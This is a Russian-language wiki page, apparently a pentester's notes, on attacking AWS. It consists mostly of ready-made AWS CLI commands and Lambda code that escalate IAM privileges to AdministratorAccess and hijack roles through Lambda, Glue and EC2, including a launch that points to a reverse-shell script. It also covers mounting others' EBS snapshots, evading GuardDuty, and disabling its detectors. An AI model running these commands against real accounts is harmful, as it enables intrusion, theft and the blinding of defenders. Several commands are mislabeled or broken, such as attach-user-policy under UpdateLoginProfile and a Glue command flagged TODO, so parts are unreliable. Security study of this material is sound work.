Право добавить своб политику к ранее скомпрометированным обьектам. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam put-user-policy --user-name &amp;lt;логин&amp;gt; --policy-name my_inline_policy --policy-document file://path/to/administrator/policy.json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Привилегия для создания профиля(с паролем)  для аккаунта, выставить новый пароль и перейти под этого пользователя.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam create-login-profile --user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любому пользователю.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой группе.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой роли.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-role-policy --role-name role_i_can_assume --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать административную политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять политику, выставленную администраторами сети и применить ее, после чего повысить привилегии у обьекта.&lt;br /&gt;
&lt;br /&gt;
Например, если у вас это право, то вы можете создать произвольную политику, дающую полный доступ и применить ее.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание политики&lt;br /&gt;
aws iam create-policy-version --policy-arn target_policy_arn --policy-document file://path/to/administrator/policy.json --set-as-default&lt;br /&gt;
# Установка политики по умолчанию.&lt;br /&gt;
aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить политику к пользователю. Если существует политика, дающая админские права - повышение.&lt;br /&gt;
&lt;br /&gt;
== AWS Shield ==&lt;br /&gt;
&lt;br /&gt;
Сервис для защиты от DDoS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Cognito ==&lt;br /&gt;
&lt;br /&gt;
Позволяет быстро и просто добавлять возможности регистрации, авторизации и контроля доступа пользователей в мобильные и интернет-приложения.&lt;br /&gt;
&lt;br /&gt;
=== Основное ===&lt;br /&gt;
&lt;br /&gt;
Cognito отвечает за следующие действия:&lt;br /&gt;
&lt;br /&gt;
* Регистрация пользователя (email + пароль)&lt;br /&gt;
&lt;br /&gt;
* Авторизация пользователя&lt;br /&gt;
&lt;br /&gt;
* Работа с сохраненной пользовательской информацией (устанавливается приложением)&lt;br /&gt;
&lt;br /&gt;
* Специальные действия (например, предоставление AWS-ключей)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Все общение идет по HTTP(s). Особенность системы в том, что Cognito общается как напрямую с чужим веб-сайтом, так и напрямую с клиентским браузером. То есть веб-сервер не знает, какой был передан пароль (в нормальной реализации).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример URL: cognito-identity.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
За действие отвечает HTTP-заголовок &amp;quot;X-Amz-Target&amp;quot;. В своем роде, это Endpoints API.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Какие параметры требуются для работы с ним:&lt;br /&gt;
&lt;br /&gt;
1. Название Endpoint'а  - &amp;quot;X-Amz-Target&amp;quot; заголовок&lt;br /&gt;
&lt;br /&gt;
2. Регион - &amp;quot;aws_project_region&amp;quot; параметр&lt;br /&gt;
&lt;br /&gt;
3. Session token - позже требуется для запросов.&lt;br /&gt;
&lt;br /&gt;
4. Identity Pool ID - нужен для запросов типа Identity Pools.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также пишут, что Cognito разделяется на две основные части:&lt;br /&gt;
&lt;br /&gt;
* User Pools  - для тех, кому нужна только регистрация и аутентификация&lt;br /&gt;
&lt;br /&gt;
* Identity Pools - для тех, кому еще и нужен доступ к AWS-ресурсам.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== X-Amz-Target (Endpoints) ===&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.UpdateUserAttributes ====&lt;br /&gt;
&lt;br /&gt;
У каждого пользователя есть поля, которые могут быть установлены самим пользователем (например, фамилия или дата рождения). Но также это могут быть и критичные поля, такие, как ID пользователя, администратор ли он и так далее.&lt;br /&gt;
&lt;br /&gt;
Также раньше можно было менять поле email'а пользователя (0day): https://infosecwriteups.com/hacking-aws-cognito-misconfiguration-to-zero-click-account-takeover-36a209a0bd8a&lt;br /&gt;
&lt;br /&gt;
Важно! Указано, что могут быть отправки СМС-уведомлений, так что тестировать осторожно.&lt;br /&gt;
&lt;br /&gt;
P.S. Мб неверно название Endpoint'а. Надо проверять.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить AWS ключи для работы с AWS-консолью. По-умолчанию отключено.&lt;br /&gt;
&lt;br /&gt;
Требуется aws_identity_pool_id.&lt;br /&gt;
&lt;br /&gt;
В некоторых примерах оно также было указано как &amp;quot;com.amazonaws.cognito.identity.model.AWSCognitoIdentityService.GetCredentialsForIdentity&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://blog.appsecco.com/exploiting-weak-configurations-in-amazon-cognito-in-aws-471ce761963&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить OpenID токен, действительный на 10 минут.&lt;br /&gt;
&lt;br /&gt;
В примере требуется только &amp;quot;IdentityID&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdTokenForDeveloperIdentity ====&lt;br /&gt;
&lt;br /&gt;
Тоже позволяет получить OpenID токен, действительный на 10 минут. Но также создает новый &amp;quot;IdentityID&amp;quot; (если он не был указан).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Получить учетные данные пользователя по IdentityID: SecretKey, SessionToken, AccessKeyID.&lt;br /&gt;
&lt;br /&gt;
https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html&lt;br /&gt;
&lt;br /&gt;
== GuardDuty ==&lt;br /&gt;
&lt;br /&gt;
Сервис для детектирования атак используя машинное обучение.&lt;br /&gt;
&lt;br /&gt;
Для детекта использует следующие сервисы:&lt;br /&gt;
&lt;br /&gt;
* CloudTrail&lt;br /&gt;
* VPC Flow Logs&lt;br /&gt;
* DNS Logs&lt;br /&gt;
* ...to be continued&lt;br /&gt;
&lt;br /&gt;
=== Обход защиты  ===&lt;br /&gt;
&lt;br /&gt;
Далее идут правила детекта и то, как их можно обойти.&lt;br /&gt;
&lt;br /&gt;
==== UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration ====&lt;br /&gt;
&lt;br /&gt;
Детектит, если AWS-API команды были запущены за пределами EC2 (используя токен этого EC2).&lt;br /&gt;
&lt;br /&gt;
Правило эффективно, если хакер хочет украть токен с EC2 и использовать его вне EC2 (например, если есть только SSRF).&lt;br /&gt;
&lt;br /&gt;
Обход простой: создать свой EC2-инстанс и делать API-запросы с полученными учетными данными жертвы.&lt;br /&gt;
Тогда правило не сработает, даже если учетные данные не принадлежат данной EC2 тк правило проверяет source ip и является ли он EC2.&lt;br /&gt;
&lt;br /&gt;
Может быть для этого выгодно держать проксирующий сервер EC2.&lt;br /&gt;
&lt;br /&gt;
==== UserAgent rules ====&lt;br /&gt;
&lt;br /&gt;
Суть в том, что GuardDuty будет добавлять Alert если AWS-CLI использует UserAgent например Kali. &lt;br /&gt;
Варианты:&lt;br /&gt;
&lt;br /&gt;
* Использовать утилиту pacu (уже есть смена User-Agent)&lt;br /&gt;
&lt;br /&gt;
* Отредактировать botocore(https://github.com/boto/botocore) по пути /usr/local/lib/python3.7/dist-packages/botocore/session.py: поменять platform.release() на строку юзерагента.&lt;br /&gt;
&lt;br /&gt;
=== Роли - Управление ===&lt;br /&gt;
&lt;br /&gt;
Список ролей: https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonguardduty.html&lt;br /&gt;
&lt;br /&gt;
==== guardduty:UpdateDetector ====&lt;br /&gt;
&lt;br /&gt;
Позволяет выключить GuardDuty (ну или редатировать правила):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty update-detector --detector-id &amp;lt;id of detector&amp;gt; --no-enable&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== guardduty:DeleteDetector ====&lt;br /&gt;
&lt;br /&gt;
Удалить правило детектирования:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty delete-detector --detector-id &amp;lt;id of detector&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STS (Security Token Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис, позволяющий запросить временные учетные данные с ограниченными  примилегиями для IAM-пользователей &lt;br /&gt;
&lt;br /&gt;
== KMS (Key Management Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для создания криптографических ключей, управления ими и использования их в других сервисах.&lt;br /&gt;
&lt;br /&gt;
Администраторы амазона не смогут получить к ним доступ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ключи со временем обновляются:&lt;br /&gt;
&lt;br /&gt;
* Customers keys - раз в 365 дней&lt;br /&gt;
&lt;br /&gt;
* AWS keys - раз в 3 года.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Старые ключи также можно будет использовать для расшифровки.&lt;br /&gt;
&lt;br /&gt;
== CloudHSM (Hardware Security Module) ==&lt;br /&gt;
&lt;br /&gt;
Замена KMS для богатых и тех, кто хочит побольше безопасности. Хранилище ключей, прикрепленное к аппаратному решению. &lt;br /&gt;
&lt;br /&gt;
Пишут, что устройство будет закреплено только за вами.&lt;br /&gt;
&lt;br /&gt;
Также можно получить доступ к CloudHSM-Instance по SSH.&lt;br /&gt;
&lt;br /&gt;
== Athena ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный бессерверный сервис, позволяющий анализировать данные хранилища S3 стандартными средствами SQL.&lt;br /&gt;
&lt;br /&gt;
Умеет работать с шифрованными S3 и сохранять шифрованный вывод.&lt;br /&gt;
&lt;br /&gt;
== EBS (Elastic Block Store) ==&lt;br /&gt;
&lt;br /&gt;
Сервис блочного хранилища (просто жесткий диск, который можно примонтировать).&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление сервисом ===&lt;br /&gt;
 &lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
Возможность подключить EBS-Volume/Snapshot к EC2-виртуалке.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание Volume из snapshot'а (если требуется подключить snapshot)&lt;br /&gt;
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone&lt;br /&gt;
# Подключение Volume к виртуалке EC2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Далее идем на виртуалку и вводим команды:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Поиск Volume&lt;br /&gt;
lsblk&lt;br /&gt;
# Проверка есть ли на нем данные&lt;br /&gt;
sudo file -s /dev/xvdf&lt;br /&gt;
# форматировать образ под ext4 (если неподходящая файловая система)&lt;br /&gt;
sudo mkfs -t ext4 /dev/xvdf&lt;br /&gt;
# Создаем директорию куда примонтируем позже&lt;br /&gt;
sudo mkdir /tmp/newvolume&lt;br /&gt;
# Монтируем&lt;br /&gt;
sudo mount /dev/xvdf /tmp/newvolume/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Диск будет доступен на /tmp/newvolume.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Lambda ==&lt;br /&gt;
&lt;br /&gt;
Сервис для запуска своего кода в облаке.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:UpdateFunctionCode ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws lambda update-function-code --function-name target_function --zip-file fileb://my/lambda/code/zipped.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== lambda:CreateFunction + lambda:InvokeFunction + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать функцию и прикрепить к ней произвольную роль, после чего запустить.&lt;br /&gt;
&lt;br /&gt;
Код функции:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
import boto3&lt;br /&gt;
def lambda_handler(event, context):&lt;br /&gt;
    client = boto3.client('iam')&lt;br /&gt;
    response = client.attach_user_policy(&lt;br /&gt;
    UserName='my_username',&lt;br /&gt;
    PolicyArn=&amp;quot;arn:aws:iam::aws:policy/AdministratorAccess&amp;quot;&lt;br /&gt;
    )&lt;br /&gt;
    return response&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Команды для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание функции&lt;br /&gt;
aws lambda create-function --function-name my_function --runtime python3.6 --role arn_of_lambda_role --handler lambda_function.lambda_handler --code file://my/python/code.py&lt;br /&gt;
# Запуск&lt;br /&gt;
aws lambda invoke --function-name my_function output.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:GetFunction ====&lt;br /&gt;
&lt;br /&gt;
Также может понадобиться lambda:ListFunctions чтобы не перебирать названия функций.&lt;br /&gt;
&lt;br /&gt;
Позволяет прочитать исходный код функции (в котором например может быть секрет сохранен):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получить список функций&lt;br /&gt;
aws lambda list-functions --profile uploadcreds&lt;br /&gt;
# Получить информацию о Lambda-функции&lt;br /&gt;
aws lambda get-function --function-name &amp;quot;LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY&amp;quot; --query 'Code.Location' --profile uploadcreds&lt;br /&gt;
# Скачать исходный код по ссылке из предыдущего ответа&lt;br /&gt;
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Glue ==&lt;br /&gt;
&lt;br /&gt;
Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== glue:UpdateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# TODO: это не обновление параметров, надо обновить команду&lt;br /&gt;
aws glue --endpoint-name target_endpoint --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== glue:CreateDevEndpoint + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить доступ к ролям, которые прикреплены к любому сервису Glue:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws glue create-dev-endpoint --endpoint-name my_dev_endpoint --role-arn arn_of_glue_service_role --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== S3 ==&lt;br /&gt;
&lt;br /&gt;
Файловое хранилище, доступное по http(s).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{bucket_name}.s3.amazonaws.com&lt;br /&gt;
https://s3.amazonaws.com/{bucket_name}/&lt;br /&gt;
&lt;br /&gt;
# US Standard&lt;br /&gt;
http://s3.amazonaws.com&lt;br /&gt;
# Ireland&lt;br /&gt;
http://s3-eu-west-1.amazonaws.com&lt;br /&gt;
# Northern California&lt;br /&gt;
http://s3-us-west-1.amazonaws.com&lt;br /&gt;
# Singapore&lt;br /&gt;
http://s3-ap-southeast-1.amazonaws.com&lt;br /&gt;
# Tokyo&lt;br /&gt;
http://s3-ap-northeast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Делать запросы можно:&lt;br /&gt;
&lt;br /&gt;
* В браузере - http(s)&lt;br /&gt;
&lt;br /&gt;
* Используя awscli:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В S3 может использоваться шифрование:&lt;br /&gt;
&lt;br /&gt;
* SSE-KMS - Server-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* SSE-C - Server-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
* CSE-KMS - Client-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* CSE-C - Client-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
=== Сбор информации ===&lt;br /&gt;
&lt;br /&gt;
==== Определение региона ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
$ dig flaws.cloud&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
flaws.cloud.    5    IN    A    52.218.192.11&lt;br /&gt;
&lt;br /&gt;
$ nslookup 52.218.192.11&lt;br /&gt;
Non-authoritative answer:&lt;br /&gt;
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# Итоговый URL будет:&lt;br /&gt;
flaws.cloud.s3-website-us-west-2.amazonaws.com&lt;br /&gt;
flaws.cloud.s3-us-west-2.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Если будет некорректный регион - редиректнет на корректный.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Список файлов ====&lt;br /&gt;
&lt;br /&gt;
На S3-Bukket может быть включен листинг директорий, для этого достаточно перейти в браузере на хранилище и посмотреть возвращенный XML.&lt;br /&gt;
&lt;br /&gt;
Список файлов может быть включен отдельно на определенные директории, поэтому может потребоваться брут директорий используя, например, wfuzz (подстрока AccessDenied).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== s3:ListBucket ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список файлов в S3-хранилище:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== s3:ListAllMyBuckets ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список всех S3-хранилищ, доступных мне:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3api list-buckets&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudFront ==&lt;br /&gt;
&lt;br /&gt;
Сервис сети доставки контента (CDN).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.cloudfront.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EC2 (Elastic Compute Cloud) ==&lt;br /&gt;
&lt;br /&gt;
EC2 (Amazon Elastic Compute Cloud) == VPS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Состоит из:&lt;br /&gt;
&lt;br /&gt;
* Instance - название виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* AMI (Amazon Machine Image) - образ виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
ec2-{ip-seperated}.compute-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSM Agent ===&lt;br /&gt;
&lt;br /&gt;
Как уже выше написано, SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
Его тоже можно выбрать целью атаки&lt;br /&gt;
&lt;br /&gt;
==== MITM ====&lt;br /&gt;
&lt;br /&gt;
Есть возможность вклиниваться в общение от SSM-Агента локально.&lt;br /&gt;
&lt;br /&gt;
PoC: https://github.com/Frichetten/ssm-agent-research/tree/main/ssm-session-interception&lt;br /&gt;
&lt;br /&gt;
Полная статья: https://frichetten.com/blog/ssm-agent-tomfoolery/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== ec2:RunInstance + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить существующую роль к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
1. Запуск машины c новой прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
2. Подключение к ней&lt;br /&gt;
&lt;br /&gt;
3. Работа с прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
Создание EC2 с известным SSH-ключем:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key --security-group-ids sg-123456&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Второй вариант - скрипт для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Важно! Может спалиться с GuardDuty когда учетные данные пользователя будут использованы на стороннем инстансе EC2.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
